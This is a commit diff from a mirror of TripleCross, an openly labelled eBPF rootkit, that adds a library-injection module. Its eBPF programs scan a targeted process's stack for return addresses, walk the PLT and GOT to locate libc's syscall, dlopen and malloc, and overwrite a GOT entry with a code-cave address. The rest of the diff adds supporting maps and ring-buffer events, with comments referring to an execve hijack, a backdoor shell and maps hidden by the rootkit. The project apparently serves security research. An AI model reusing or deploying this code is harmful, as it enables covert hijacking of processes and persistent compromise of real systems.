mirror of
https://github.com/h3xduck/TripleCross.git
synced 2026-01-09 09:33:08 +08:00
Merged master and develop, now all changes together. Fully tested and working.
This commit is contained in:
@@ -49,6 +49,14 @@ struct backdoor_packet_log_data_16{
|
||||
//Map value, contains data of phantom shell, if active
|
||||
//In struct_common.h, it is used from userspace and kernel many times, so moved there
|
||||
|
||||
struct inj_ret_address_data{ //Map value
|
||||
__u64 libc_syscall_address;
|
||||
__u64 stack_ret_address;
|
||||
__u64 relro_active;
|
||||
__u64 got_address;
|
||||
__s32 got_offset;
|
||||
__s32 padding;
|
||||
};
|
||||
|
||||
struct fs_priv_open{ //Map
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
@@ -88,6 +96,15 @@ struct backdoor_priv_phantom_shell{
|
||||
__uint(pinning, LIBBPF_PIN_BY_NAME);
|
||||
} backdoor_phantom_shell SEC(".maps");
|
||||
|
||||
|
||||
//Return addresses of syscalls in the shared library, for the library injection
|
||||
struct inj_priv_ret_address{ //Map
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 4096);
|
||||
__type(key, __u64); //thread group id(MSB) + pid (LSB)
|
||||
__type(value, struct inj_ret_address_data);
|
||||
} inj_ret_address SEC(".maps");
|
||||
|
||||
/*PROTECTED MAPS*/
|
||||
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
|
||||
//Located at /src/map_prot.h
|
||||
|
||||
@@ -120,7 +120,7 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
|
||||
bpf_printk("Error reading 3\n");
|
||||
};
|
||||
|
||||
bpf_printk("OLD ARGV0: %s\n", argv[0]);
|
||||
/*bpf_printk("OLD ARGV0: %s\n", argv[0]);
|
||||
bpf_printk("ARGV1: %s\n", argv[1]);
|
||||
bpf_printk("ARGV2: %s\n", argv[2]);
|
||||
//bpf_printk("ENVP: %s\n", envp);
|
||||
@@ -128,7 +128,7 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
|
||||
bpf_printk("&FILE: %llx, &ARGV0: %llx, &ARGV1: %llx\n", (void*)(ctx->filename), (void*)&(ctx->argv[0]), (void*)&(ctx->argv[1]));
|
||||
//bpf_printk("&ARGV: %llx, &ARGV0: %llx\n", ctx->argv, argv[0]);
|
||||
if((void*)ctx->filename==(void*)(ctx->argv)){
|
||||
bpf_printk("Equal pointers");
|
||||
//bpf_printk("Equal pointers");
|
||||
}else{
|
||||
//bpf_printk("Not equal pointers %u, %u", ctx->filename, ctx->argv);
|
||||
}
|
||||
@@ -174,10 +174,10 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
|
||||
|
||||
//Provided that the case error 2 may happen, we check if we are on that case before going ahead and overwriting everything.
|
||||
if(test_write_user_unique(ctx, (char*)filename, (char*)argv[0])!=0){
|
||||
bpf_printk("Test failed\n");
|
||||
//bpf_printk("Test failed\n");
|
||||
return -1;
|
||||
}else{
|
||||
bpf_printk("Test completed\n");
|
||||
//bpf_printk("Test completed\n");
|
||||
}
|
||||
|
||||
if(bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM))<0){
|
||||
|
||||
348
src/ebpf/include/bpf/injection.h
Normal file
348
src/ebpf/include/bpf/injection.h
Normal file
@@ -0,0 +1,348 @@
|
||||
#ifndef __BPF_INJECTION_H
|
||||
#define __BPF_INJECTION_H
|
||||
|
||||
|
||||
#include "headervmlinux.h"
|
||||
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_core_read.h>
|
||||
|
||||
#include "../../../common/constants.h"
|
||||
#include "defs.h"
|
||||
#include "../../../common/map_common.h"
|
||||
#include "../data/ring_buffer.h"
|
||||
|
||||
#define OPCODE_JUMP_BYTE_0 0xe8
|
||||
#define OPCODE_PLT_JMP_BYTE_0 0xff
|
||||
#define OPCODE_PLT_JMP_BYTE_1 0x25
|
||||
#define OPCODE_PLT_RERLO_BYTE_0 0xf3
|
||||
#define OPCODE_PLT_RERLO_BYTE_1 0x0f
|
||||
#define GLIBC_OFFSET_MAIN_TO_SYSCALL 0xf00d0
|
||||
#define GLIBC_OFFSET_MAIN_TO_DLOPEN 0x12f120
|
||||
#define GLIBC_OFFSET_MAIN_TO_MALLOC 0x6eca0
|
||||
|
||||
struct sys_timerfd_settime_enter_ctx {
|
||||
unsigned long long unused; //Pointer to pt_regs
|
||||
int __syscall_nr;
|
||||
unsigned int padding; //Alignment
|
||||
int ufd;
|
||||
int flags;
|
||||
const struct __kernel_itimerspec *utmr;
|
||||
struct __kernel_itimerspec *otmr;
|
||||
};
|
||||
|
||||
struct sys_timerfd_settime_exit_ctx {
|
||||
unsigned long long unused; //Pointer to pt_regs
|
||||
int __syscall_nr;
|
||||
unsigned int padding; //Alignment
|
||||
long ret;
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Checks whether the format of the syscall is the expected one
|
||||
*
|
||||
* @param opcodes
|
||||
* @param size
|
||||
* @return 0 if correct, 1 otherwise
|
||||
*/
|
||||
static __always_inline int check_syscall_opcodes(__u8* opcodes){
|
||||
return 0 == (/*opcodes[0]==0xf3 //FOR GDB WORKING TODO REMOVE
|
||||
&&*/ opcodes[1]==0x0f
|
||||
&& opcodes[2]==0x1e
|
||||
&& opcodes[3]==0xfa
|
||||
&& opcodes[4]==0x49
|
||||
&& opcodes[5]==0x89
|
||||
&& opcodes[6]==0xca
|
||||
&& opcodes[7]==0xb8
|
||||
&& opcodes[8]==0x1e
|
||||
&& opcodes[9]==0x01
|
||||
&& opcodes[10]==0x00
|
||||
&& opcodes[11]==0x00
|
||||
&& opcodes[12]==0x0f
|
||||
&& opcodes[13]==0x05);
|
||||
|
||||
}
|
||||
|
||||
static __always_inline int stack_extract_return_address_plt(__u64 stack_rip){
|
||||
//We have a possible RIP from the stack, to which we can take the previous instruction,
|
||||
//and check if its opcodes correspond with the expected format
|
||||
__u64 *entry_call_addr = (__u64*)(stack_rip - 0x5);
|
||||
__u8 entry_call_opcode_arr[10];
|
||||
if(bpf_probe_read(&entry_call_opcode_arr, 10*sizeof(__u8), entry_call_addr)<0){
|
||||
//bpf_printk("Failed to read stack position\n");
|
||||
return -1;
|
||||
}
|
||||
//bpf_printk(" -- Checking: %lx, res: %x %x", entry_call_addr, entry_call_opcode_arr[0], entry_call_opcode_arr[1]);
|
||||
//bpf_printk("%x %x %x\n", entry_call_opcode_arr[2], entry_call_opcode_arr[3], entry_call_opcode_arr[4]);
|
||||
if (entry_call_opcode_arr[0] != OPCODE_JUMP_BYTE_0) {
|
||||
//bpf_printk(" -- Failed OPCODE: %x\n", entry_call_opcode_arr[0]);
|
||||
return -1;
|
||||
}
|
||||
bpf_printk("Successful entry call address: %lx\n", entry_call_addr);
|
||||
|
||||
//We have localized a call instruction which might be the one we are looking for.
|
||||
//We proceed to get the offset of the call.
|
||||
__s32 offset = 0;
|
||||
__u8* entry_call_addr_8 = (__u8*)(stack_rip - 0x5);
|
||||
if(bpf_probe_read_user(&offset, sizeof(__s32), &entry_call_addr_8[1])<0){ //This takes the 4 MSB omitting the first
|
||||
bpf_printk("Failed to read entry_call_addr[1]\n");
|
||||
return -1;
|
||||
}
|
||||
//bpf_printk("OP64[1]: %x\n", &entry_call_addr[1]);
|
||||
//bpf_printk("OP8[1]: %x\n", &entry_call_addr_8[1]);
|
||||
|
||||
//We now extract to which memory position it jumps via its offset+current position+5 bytes of the
|
||||
//current call instruction.
|
||||
bpf_printk("OFFSET: %x\n", offset);
|
||||
bpf_printk("OP: %lx\n", entry_call_addr);
|
||||
__u64 sum = (uintptr_t)((__u64)(entry_call_addr_8)+offset+5);
|
||||
bpf_printk("SUM: %lx\n", sum);
|
||||
__u64* plt_addr = (__u64*)sum;
|
||||
|
||||
//Using the bytes written in the PLT.GOT section, the PLT jumps to libc, where
|
||||
//the syscall will be called. We can extract the opcodes of this routine and
|
||||
//see if we recognize the syscall as the one we wanted.
|
||||
__u8 libc_opcodes[10];
|
||||
bpf_probe_read_user(&libc_opcodes, 10*sizeof(__u8), plt_addr);
|
||||
bpf_printk("OPCODE0: %x\n", libc_opcodes[0]);
|
||||
bpf_printk("OPCODE1: %x\n", libc_opcodes[1]);
|
||||
bpf_printk("OPCODE5: %x\n", libc_opcodes[5]);
|
||||
bpf_printk("OPCODE6: %x\n", libc_opcodes[6]);
|
||||
|
||||
int plt_found = 0;
|
||||
int relro_active = 0;
|
||||
|
||||
//Check documentation for details on jump recognition.
|
||||
if(libc_opcodes[0]==OPCODE_PLT_JMP_BYTE_0 && libc_opcodes[1]==OPCODE_PLT_JMP_BYTE_1){
|
||||
//If the ELF binary has been compiled without RELRO, the first bytes are expected.
|
||||
plt_found = 1;
|
||||
}else if(libc_opcodes[0]==OPCODE_PLT_RERLO_BYTE_0 && libc_opcodes[1]==OPCODE_PLT_RERLO_BYTE_1 && libc_opcodes[5]==OPCODE_PLT_JMP_BYTE_0 && libc_opcodes[6]==OPCODE_PLT_JMP_BYTE_1){
|
||||
//If the ELF was compiled with RELRO protection.
|
||||
plt_found = 1;
|
||||
relro_active = 1;
|
||||
}
|
||||
|
||||
__u8* plt_addr_arr = (__u8*)plt_addr;
|
||||
if(plt_found == 1){
|
||||
bpf_printk("Found PLT entry\n");
|
||||
__s32 got_offset;
|
||||
__u64* got_addr;
|
||||
|
||||
if(relro_active == 0){
|
||||
//We analyze the offset of the jump specified ff 25 XX XX XX XX
|
||||
//The address to which the jump takes us from the PLT.GOT should be the actual syscall setup
|
||||
bpf_probe_read_user(&got_offset, sizeof(__s32), &plt_addr_arr[2]); //4 LSB
|
||||
//We obtain the address of the jump by adding the offset + our current memory address + 6 bytes of the current instruction
|
||||
got_addr = (u64*)((__u64)(plt_addr_arr) + got_offset + 0x6);
|
||||
bpf_printk("GOT_OFFSET: %lx\n", got_offset);
|
||||
bpf_printk("GOT_ADDR: %lx\n", got_addr);
|
||||
}else {
|
||||
bpf_printk("RELRO detected\n");
|
||||
//Proceed to take into account the endbr64 instruction
|
||||
plt_addr_arr = (__u8*)plt_addr+0x4;
|
||||
//We analyze the offset of the jump specified f2 ff 25 XX XX XX XX
|
||||
//The address to which the jump takes us from the PLT.GOT should be the actual syscall setup
|
||||
bpf_probe_read_user(&got_offset, sizeof(__s32), &plt_addr_arr[3]); //4 LSB + 7 bytes of the current instruction
|
||||
got_addr = (u64*)((__u64)(plt_addr_arr) + got_offset +0x7);
|
||||
bpf_printk("GOT_OFFSET: %lx\n", got_offset);
|
||||
bpf_printk("GOT_ADDR: %lx\n", got_addr);
|
||||
}
|
||||
|
||||
//The actual starting address at which the GOT section points in libc is contained in the previous pointer
|
||||
__u64 got_libc_addr;
|
||||
if(got_addr==NULL){
|
||||
return -1;
|
||||
}
|
||||
bpf_probe_read_user(&got_libc_addr, sizeof(__u64), got_addr);
|
||||
bpf_printk("GOT_ADDR_LIBC: %lx\n",got_libc_addr);
|
||||
|
||||
__u64 buf = CODE_CAVE_ADDRESS_STATIC;
|
||||
//bpf_printk("Now writing to GOT_ADDR_LIBC %lx\n", got_libc_addr);
|
||||
if(bpf_probe_write_user(got_addr, &buf, sizeof(__u64))<0){
|
||||
//Should not work if RELRO active
|
||||
bpf_printk("FAILED TO WRITE JUMP\n");
|
||||
}else{
|
||||
__u64 got_addr_new;
|
||||
bpf_probe_read_user(&got_addr_new, sizeof(__u64), got_addr);
|
||||
bpf_printk("Success, new GOT is %lx", got_addr_new);
|
||||
}
|
||||
|
||||
//Now that we have the address placed in the GOT section we can finally go to the function in glibc
|
||||
//where the syscall resides. We read the opcodes and check that they are the ones expected
|
||||
__u8 s_opcode[14];
|
||||
bpf_probe_read_user(s_opcode, 14*sizeof(__u8), (void*)got_libc_addr);
|
||||
for(int ii=0; ii<14; ii++){
|
||||
//bpf_printk("S_OPC %i: %x\n",ii,s_opcode[ii]);
|
||||
}
|
||||
if(check_syscall_opcodes(s_opcode)!=0){
|
||||
bpf_printk("Not the expected syscall\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
//We got the expected syscall call in libc. Its format depends on glibc.
|
||||
//We put it in an internal map.
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
return -1;
|
||||
}
|
||||
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
|
||||
if (inj_ret_addr != NULL ){
|
||||
//It means we have already performed this whole operation
|
||||
return -1;
|
||||
}
|
||||
|
||||
bpf_printk("Final found libc syscall address: %lx\n", got_libc_addr);
|
||||
struct inj_ret_address_data addr;
|
||||
addr.libc_syscall_address = (__u64)got_libc_addr;
|
||||
addr.stack_ret_address = 0;
|
||||
addr.relro_active = relro_active;
|
||||
addr.got_offset = got_offset;
|
||||
addr.padding = 0;
|
||||
bpf_probe_read(&addr.got_address, sizeof(__u64), &got_addr);
|
||||
bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_ANY);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
SEC("tp/syscalls/sys_enter_timerfd_settime")
|
||||
int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
|
||||
__u64 *scanner = (__u64*)ctx->otmr;
|
||||
int fd = ctx->ufd;
|
||||
|
||||
char comm[TASK_COMM_LEN] = {0};
|
||||
int err = bpf_get_current_comm(comm, sizeof(comm));
|
||||
if(err<0){
|
||||
return -1;
|
||||
}
|
||||
|
||||
char *task = TASK_COMM_NAME_ROP_TARGET;
|
||||
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
|
||||
return 0;
|
||||
}
|
||||
bpf_printk("TASK: %s\n", comm);
|
||||
|
||||
long timesecs;
|
||||
//bpf_probe_read_user(×ecs, sizeof(long), &(new->it_interval.tv_sec));
|
||||
//bpf_printk("AG %ld\n",timesecs);
|
||||
__u64 address = 0;
|
||||
bpf_printk("Timer %i to scan at address %lx\n", fd, scanner);
|
||||
#pragma unroll
|
||||
for(__u64 ii=0; ii<200; ii++){
|
||||
//We got a foothold in the stack via the syscall argument, now we scan to lower memory
|
||||
//positions assuming those are the saced RIP. We will then perform checks in order to see
|
||||
//if it truly is the saved RIP (checking that there is a path to the actual syscall).
|
||||
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii);
|
||||
//bpf_printk("stack: %lx\n", address);
|
||||
if(stack_extract_return_address_plt(address)==0){
|
||||
//We found the return address
|
||||
__u64 found_return_address = *scanner - ii;
|
||||
//We put it in an internal map.
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
return -1;
|
||||
}
|
||||
struct inj_ret_address_data *addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
|
||||
if (addr == NULL){
|
||||
//It means we failed to insert into the map before
|
||||
return -1;
|
||||
}
|
||||
//struct inj_ret_address_data addr = *inj_ret_addr;
|
||||
//struct inj_ret_address_data addr;
|
||||
//bpf_probe_read(&addr, sizeof(struct inj_ret_address_data), inj_ret_addr);
|
||||
addr->stack_ret_address = (__u64)scanner - ii;
|
||||
if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, addr, BPF_EXIST)<0){
|
||||
bpf_printk("Failed to insert the return address in bpf map\n");
|
||||
return -1;
|
||||
}
|
||||
bpf_printk("Final found return address: %lx\n", addr->stack_ret_address);
|
||||
bpf_printk("GOT address: %lx\n", addr->got_address);
|
||||
|
||||
|
||||
//Tell userspace to perform operations on localized addresses
|
||||
int pid = bpf_get_current_pid_tgid() >> 32;
|
||||
ring_buffer_send_vuln_sys(&rb_comm, pid, addr->libc_syscall_address,
|
||||
addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL,
|
||||
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN,
|
||||
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC,
|
||||
addr->got_address, addr->libc_syscall_address, addr->relro_active);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
bpf_printk("Finished without findings\n");
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
SEC("tp/syscalls/sys_exit_timerfd_settime")
|
||||
int sys_exit_timerfd_settime(struct sys_timerfd_settime_exit_ctx *ctx){
|
||||
char comm[TASK_COMM_LEN] = {0};
|
||||
int err = bpf_get_current_comm(comm, sizeof(comm));
|
||||
if(err<0){
|
||||
return -1;
|
||||
}
|
||||
char *task = TASK_COMM_NAME_ROP_TARGET;
|
||||
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
|
||||
return 0;
|
||||
}
|
||||
|
||||
//If we are here we may have the return address stored in the map.
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
__u32 pid = pid_tgid >> 32;
|
||||
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
|
||||
if (inj_ret_addr == NULL){
|
||||
//We failed to identify the return address in the previous probe.
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct inj_ret_address_data addr = *inj_ret_addr;
|
||||
bpf_printk("PID: %u, SYSCALL_ADDR: %lx, STACK_RET_ADDR: %lx", pid, addr.libc_syscall_address, addr.stack_ret_address);
|
||||
bpf_printk("Address of libc main: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL);
|
||||
bpf_printk("Address of libc_dlopen_mode: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN);
|
||||
bpf_printk("Address of malloc: %lx\n", addr.libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
//NOT CURRENTLY CONNECTED
|
||||
SEC("uprobe/execute_command")
|
||||
int uprobe_execute_command(struct pt_regs *ctx){
|
||||
bpf_printk("UPROBE activated\n");
|
||||
bpf_printk("Ret is %lx", ctx->ip);
|
||||
|
||||
char* buf = "A\0";
|
||||
long ret;
|
||||
if((ret = bpf_probe_write_user((void*)ctx->ip, buf,1))>=0){
|
||||
bpf_printk("Success writting? Should not have happened\n");
|
||||
return -1;
|
||||
}
|
||||
bpf_printk("ERROR writing: %li\n", ret); //EFAULT
|
||||
char dest_buf[2];
|
||||
if(ctx->ip-5 <=0){
|
||||
return -1;
|
||||
}
|
||||
if((ret = bpf_probe_read_user(dest_buf, 2, (void*)ctx->ip-5))<0){
|
||||
bpf_printk("Error reading instruction\n");
|
||||
return -1;
|
||||
}
|
||||
//bpf_printk("Stack: %x\n", dest_buf);
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -54,7 +54,6 @@ static __always_inline int ring_buffer_send_backdoor_command(struct ring_buffer
|
||||
if(!event){
|
||||
return -1;
|
||||
}
|
||||
|
||||
event->code = code;
|
||||
event->event_type = COMMAND;
|
||||
event->pid = pid;
|
||||
@@ -80,6 +79,30 @@ static __always_inline int ring_buffer_send_request_update_phantom_shell(struct
|
||||
event->event_type = PSH_UPDATE;
|
||||
event->pid = pid;
|
||||
event->bps_data = data;
|
||||
bpf_ringbuf_submit(event, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Sends an event indicating a vulnerable syscall injection into the specified ring kernel buffer
|
||||
*
|
||||
* @return 0 if ok, -1 if error
|
||||
*/
|
||||
static __always_inline int ring_buffer_send_vuln_sys(struct ring_buffer *rb, int pid, __u64 syscall_address, __u64 process_stack_return_address, u64 libc_main_address, u64 libc_dlopen_mode_address, __u64 libc_malloc_address, __u64 got_address, __s32 got_offset, int relro_active){
|
||||
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
|
||||
if(!event){
|
||||
return -1;
|
||||
}
|
||||
event->event_type = VULN_SYSCALL;
|
||||
event->pid = pid;
|
||||
event->libc_dlopen_mode_address = libc_dlopen_mode_address;
|
||||
event->libc_main_address = libc_main_address;
|
||||
event->libc_malloc_address = libc_malloc_address;
|
||||
event->process_stack_return_address = process_stack_return_address;
|
||||
event->syscall_address = syscall_address;
|
||||
event->got_address = got_address;
|
||||
event->relro_active = relro_active;
|
||||
event->got_offset = got_offset;
|
||||
|
||||
bpf_ringbuf_submit(event, 0);
|
||||
return 0;
|
||||
|
||||
@@ -39,6 +39,7 @@
|
||||
#include "include/bpf/sched.h"
|
||||
#include "include/bpf/fs.h"
|
||||
#include "include/bpf/exec.h"
|
||||
#include "include/bpf/injection.h"
|
||||
|
||||
char LICENSE[] SEC("license") = "Dual BSD/GPL";
|
||||
#define ETH_ALEN 6
|
||||
|
||||
Reference in New Issue
Block a user